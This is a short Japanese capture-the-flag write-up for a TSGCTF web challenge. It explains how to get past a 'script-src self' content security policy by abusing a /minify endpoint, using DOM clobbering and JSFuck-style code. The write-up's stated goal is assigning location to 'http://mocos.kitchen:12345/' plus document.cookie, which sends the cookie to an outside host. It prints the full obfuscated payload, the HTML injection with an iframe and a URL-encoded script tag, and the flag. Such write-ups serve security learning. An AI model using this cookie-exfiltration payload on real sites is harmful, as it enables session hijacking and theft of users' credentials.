Tags: web
Rating:
`/minify` APIを使うと入力文字の `><+-=r[]` 以外の文字が消されて出力される。
HTMLは出力できるがCSPで `script-src: 'self'` がかかっているので、 `/minify` APIを使って回避する。
往年のJSFuck問だがDOM Clobberingのおかげで手でもかける。
`location='http://mocos.kitchen:12345/' + document.cookie` を作ることを目標にシコシコ書いていく。
方針:
- `'name'` を作るため、 `` を文字列にして1文字目から4文字目を結合
- 必要な各種文字列を `` のnameに設定し、 `r['name']` のようにして読み取る
- `window.location` のかわりに `[IFRAME Element].location` を代入する。
```javascript
rrrrr[
r[
rrrr =
[r + [rr = [] == []]][rr = +rr][rr] + // n
[r + []][rrr = rr][++rrr] + // a
[r + []][rr][rrr + rrr] + // m
[r + []][rr][rrr + rrr + rrr] //e
] // 'location'
] =
rrrrrr + rrrrr[rrrrrr[rrrr]][rrrrrrr[rrrr]] // document.cookie
```
<iframe name=rrrrr></iframe>
<script src="/minify?code=rrrrr%5b%0d%0a%20%20r%5b%0d%0a%20%20rrrr%20%3d%0d%0a%20%20%5br%20%2b%20%5brr%20%3d%20%5b%5d%20%3d%3d%20%5b%5d%5d%5d%5brr%20%3d%20%2brr%5d%5brr%5d%20%2b%20%2f%2f%20n%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brrr%20%3d%20rr%5d%5b%2b%2brrr%5d%20%2b%20%2f%2f%20a%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brr%5d%5brrr%20%2b%20rrr%5d%20%2b%20%2f%2f%20m%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brr%5d%5brrr%20%2b%20rrr%20%2b%20rrr%5d%20%2f%2fe%0d%0a%20%20%5d%20%2f%2f%20'location'%0d%0a%5d%20%3d%0d%0a%20%20rrrrrr%20%2b%20rrrrr%5brrrrrr%5brrrr%5d%5d%5brrrrrrr%5brrrr%5d%5d%20%2f%2f%20document.cookie"></script>
```
FLAG: `TSGCTF{u_r_j5fuck_m4573r}`